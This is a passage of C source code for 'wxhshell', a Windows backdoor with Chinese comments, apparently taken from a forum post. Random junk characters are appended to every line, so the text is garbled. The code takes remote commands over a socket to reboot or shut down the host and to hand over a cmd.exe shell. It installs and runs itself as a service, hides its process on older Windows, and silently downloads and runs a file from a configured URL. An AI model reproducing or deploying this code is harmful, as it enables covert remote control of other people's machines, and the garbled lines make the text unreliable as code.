  // 帮助 +L%IG  
  case '?': { }]6f+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f p[,C1U  
    break; qCPmbg  
  } m3.sVI0I  
  // 安装 Q(Gl{#b  
  case 'i': { nwmW.(R4  
    if(Install()) GF$`BGW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x#H 3=YD*  
    else ;\{`Ci\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f_=~H<j!  
    break; ,S&z<S_  
    } rwf^,r"r  
  // 卸载 6b=q-0yj  
  case 'r': { L'Q<>{;Ig  
    if(Uninstall()) #FH[hRo=6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "r'ozf2 \  
    else |E)aT#$f'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Qy$I-Du  
    break; ",Cr,;]  
    } PXk?aJ  
  // 显示 wxhshell 所在路径 !L24+$  
  case 'p': { ,"2TArC'z  
    char svExeFile[MAX_PATH]; ~E5z"o6$  
    strcpy(svExeFile,"\n\r"); D Ml?o:l  
      strcat(svExeFile,ExeFile); ?cy4&]s  
        send(wsh,svExeFile,strlen(svExeFile),0); & E}mX]t  
    break; #& ?g %'  
    } Jkt4@h2Q}  
  // 重启 6iA( o*'Yn  
  case 'b': { "Cz<d w]D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "TOa=Tt{,  
    if(Boot(REBOOT)) kg97S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {XCf-{a]~  
    else { 9KuD(EJS  
    closesocket(wsh); quxdG>8  
    ExitThread(0); * ?Jz2[B  
    } r@G#[.*A>  
    break; WyhhCR=;  
    } PBjmGwg7  
  // 关机 s^8u&y)3  
  case 'd': { s Be7"^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !|Q5Zi;aX7  
    if(Boot(SHUTDOWN)) >QkP7Kb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8V/L:h#7  
    else { ~+6Vdx m  
    closesocket(wsh); 9 ; i\g=  
    ExitThread(0); Cb;WZ3HR  
    }  ti@kKz  
    break; /~p+j{0L3W  
    } =/0=$\Ws  
  // 获取shell {w6/[ -^  
  case 's': { `Ityi}  
    CmdShell(wsh); .ic:`1  
    closesocket(wsh); ]/X(V|t  
    ExitThread(0); p *w$:L  
    break; d^E [|w ;  
  } 4,p;Km&  
  // 退出 V ~{fB~  
  case 'x': { {R6HG{"IS6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jNDx,7F-  
    CloseIt(wsh); yHo[{,4itA  
    break; GEUg]nw  
    } %/%UX{8R  
  // 离开 0E`1HP"b  
  case 'q': { 5VW|fI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q8P.,%   
    closesocket(wsh); 7V7zGx+Z7  
    WSACleanup(); ?/hZb"6W  
    exit(1); yR5XJ;Tct  
    break; ne}+E  
        } oXsL9,  
  } E0n6$5Uc?  
  } b \7iY&.C|  
2BXy<BM @  
  // 提示信息 ~nLN`H d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bC!`@/  
} OX]V) QHVZ  
  } cZ8.TsI~  
zmuMWT;  
  return; ,MPB/j^o5!  
} Gbpw5n;e  
rZXrT}Xh{W  
// shell模块句柄 2S[-$9  
int CmdShell(SOCKET sock) 5Qwh(C^H  
{ AM"jX"F9/  
STARTUPINFO si; ENVk{QE!  
ZeroMemory(&si,sizeof(si)); #18FA|   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d~J-|yyT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Hy:V`>  
PROCESS_INFORMATION ProcessInfo; YIhm$A"z0"  
char cmdline[]="cmd"; +EXJ\wy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y*oDO$6  
  return 0; iSLGwTdLn  
} ,i9Byx#TN  
. 5y"38e  
// 自身启动模式 ZzGahtx)Y  
int StartFromService(void) B;6]NCx D  
{ 9LnN$e  
typedef struct X!hIwiA,t  
{ E(pF:po  
  DWORD ExitStatus; {PU!=IkTS  
  DWORD PebBaseAddress; 'wasZ b<^  
  DWORD AffinityMask; UB`ToE|Ii  
  DWORD BasePriority; m><w0k?t  
  ULONG UniqueProcessId; N7r_77%m0  
  ULONG InheritedFromUniqueProcessId; `$LWmm#  
}   PROCESS_BASIC_INFORMATION; qVqRf.-\  
u|#>32kV  
PROCNTQSIP NtQueryInformationProcess; 4LcX<B U9  
RprKm'b8x`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }GMbBZ:nKK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M,5j5<7  
d$ACDX2  
  HANDLE             hProcess; g1E~+@  
  PROCESS_BASIC_INFORMATION pbi; sAn0bX  
w>fdQ!RdP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .{KjEg 6  
  if(NULL == hInst ) return 0; `?g`bN`Vn  
bu7'oB~:V^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2aZw[7s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >Hb^P)3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y/<lWbj*A  
'+>fFM,*B  
  if (!NtQueryInformationProcess) return 0; F7L&=K$2y  
d6{Gt"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f*{ YFg?*&  
  if(!hProcess) return 0; sxKf&p;  
?^mi3VM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5<pftTcZ  
kv,%(en]  
  CloseHandle(hProcess); hVT~~n`Rj  
)5j;KI%t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V3;.{0k  
if(hProcess==NULL) return 0; ]?1Y e8>Y<  
SnlyUP~P  
HMODULE hMod; Pz#7h*;cw.  
char procName[255]; G|w=ez  
unsigned long cbNeeded; , ^F)L|  
GDhE[of  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4D%9Rc0 G  
'3]p29v{  
  CloseHandle(hProcess); g[ 0<m#"  
v0Dq@Q1  
if(strstr(procName,"services")) return 1; // 以服务启动 &c(WE RW?-  
$mmup|;(  
  return 0; // 注册表启动 >h2%[j=  
} uJHu>M}~  
v[@c*wo  
// 主模块 87)zCq  
int StartWxhshell(LPSTR lpCmdLine) /){KOCBl;  
{ ,oxcq?7#4  
  SOCKET wsl; iqQUtE]E_  
BOOL val=TRUE; GuZ ( &G6*  
  int port=0; 4H5pr  
  struct sockaddr_in door; jN-vY<?h]  
P7ph}mB  
  if(wscfg.ws_autoins) Install(); etT +  
H.<a`m m8  
port=atoi(lpCmdLine); e~ aqaY~}  
[3l*F  
if(port<=0) port=wscfg.ws_port; CM)Q&:  
g*)K/Z0pJ$  
  WSADATA data; c^rOImZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9=w|)p )  
+uWDP .  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "'8KV\/D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .@-9'<K?~  
  door.sin_family = AF_INET; ML-)I&>tT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |4mpohX  
  door.sin_port = htons(port); Cz4)Yz  
`b8v1Os^2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { scuHmY0  
closesocket(wsl); , P'P^0qJ  
return 1; Y={&5Mir  
} RjF'x  
QIN."&qC^  
  if(listen(wsl,2) == INVALID_SOCKET) { ri`R<l8  
closesocket(wsl); $@d9<83=  
return 1; HkV1sT  
} IX: 25CEI2  
  Wxhshell(wsl); 2)#K+O3c  
  WSACleanup(); 8Y0"Cejq  
PiV7*F4qI.  
return 0; n9pN6,o+  
1Gt/Tq$_b  
} <PPNhf8  
I/VxZ8T  
// 以NT服务方式启动 D'Z|}(d&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l no vykR  
{ ;U1UFqZ`  
DWORD   status = 0; *`j-i  
  DWORD   specificError = 0xfffffff; _A<u#.yd  
}?cGf- c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tt%MoQ)   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A*. /,KT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _, ;j7%j  
  serviceStatus.dwWin32ExitCode     = 0; dC=)^(  
  serviceStatus.dwServiceSpecificExitCode = 0; uj%skOD6Z  
  serviceStatus.dwCheckPoint       = 0; j-CnT)W<  
  serviceStatus.dwWaitHint       = 0; Ngr/QL]Q  
VIP7OHJh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G*S|KH  
  if (hServiceStatusHandle==0) return; ] 2DH;  
) \Y7&  
status = GetLastError(); ,+qVu,  
  if (status!=NO_ERROR) 22kpl)vbU  
{ 2,lqsd:xM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "#v=IJy&r  
    serviceStatus.dwCheckPoint       = 0; r1ws1 rr=  
    serviceStatus.dwWaitHint       = 0; wU#F_De)R:  
    serviceStatus.dwWin32ExitCode     = status; k>dsw:  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^gV T$A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Qh#)hiW!  
    return; p^(&qk?ut  
  } Hk>79};  
2=?tJ2E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^:9$@ +a  
  serviceStatus.dwCheckPoint       = 0; 0Io'bF  
  serviceStatus.dwWaitHint       = 0; .nYUL>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #jAqra._b  
} UgWs{y2SE.  
nR4y`oP+  
// 处理NT服务事件,比如:启动、停止 :{NC-%4o0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f84:hXo6  
{ ,uzN4_7u  
switch(fdwControl) *. 3N=EO  
{ bs9aE< j  
case SERVICE_CONTROL_STOP: X7,PEA  
  serviceStatus.dwWin32ExitCode = 0; Q'k\8'x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [4fU+D2\d  
  serviceStatus.dwCheckPoint   = 0; iK?b~Q  
  serviceStatus.dwWaitHint     = 0; i,13b e  
  { [1Ydo`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A2}Rl%+X]6  
  } MNH1D! }  
  return; Y(\T- bI  
case SERVICE_CONTROL_PAUSE: )BfT7{WN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^kS T  
  break; .(J?a"  
case SERVICE_CONTROL_CONTINUE: iHf-{[[Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2_Wg!bq  
  break; 64-#}3zL  
case SERVICE_CONTROL_INTERROGATE: xEuN   
  break; T#pk]c6Q  
}; `%3 /   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DK0.R]&4(  
} 7bxA]s{m  
\A `hj~  
// 标准应用程序主函数 FWH}j0Gj|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j3q~E[Mz\  
{ E7Cy(LO  
+UJuB  
// 获取操作系统版本 _C\[DR0n  
OsIsNt=GetOsVer(); =)O,`.M.Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ogFKUD*h&>  
x{NX8lN  
  // 从命令行安装 z} '!eCl  
  if(strpbrk(lpCmdLine,"iI")) Install(); *m%]zj0bo  
$+}+zZX5  
  // 下载执行文件  FgL,k  
if(wscfg.ws_downexe) { +n}$pM|NKU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PSawMPw  
  WinExec(wscfg.ws_filenam,SW_HIDE); tNVV)C  
} %gnM( pxl  
gX{loG  
if(!OsIsNt) { TpA\9N#$  
// 如果时win9x,隐藏进程并且设置为注册表启动 8A{_GH{:  
HideProc(); qyHZ M}/  
StartWxhshell(lpCmdLine); nUq<TJ  
} [![%9'+P  
else kt4d; 4n  
  if(StartFromService()) fF*`'i=!  
  // 以服务方式启动 ;,&8QcSVY  
  StartServiceCtrlDispatcher(DispatchTable); &[2U$`P`V  
else +.y .Mp  
  // 普通方式启动 \D>$aLO*?  
  StartWxhshell(lpCmdLine); MxzLK%am  
Knhp*V?  
return 0; q9"=mO0J+  
}
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只看该作者 1 发表于: 2006-10-10
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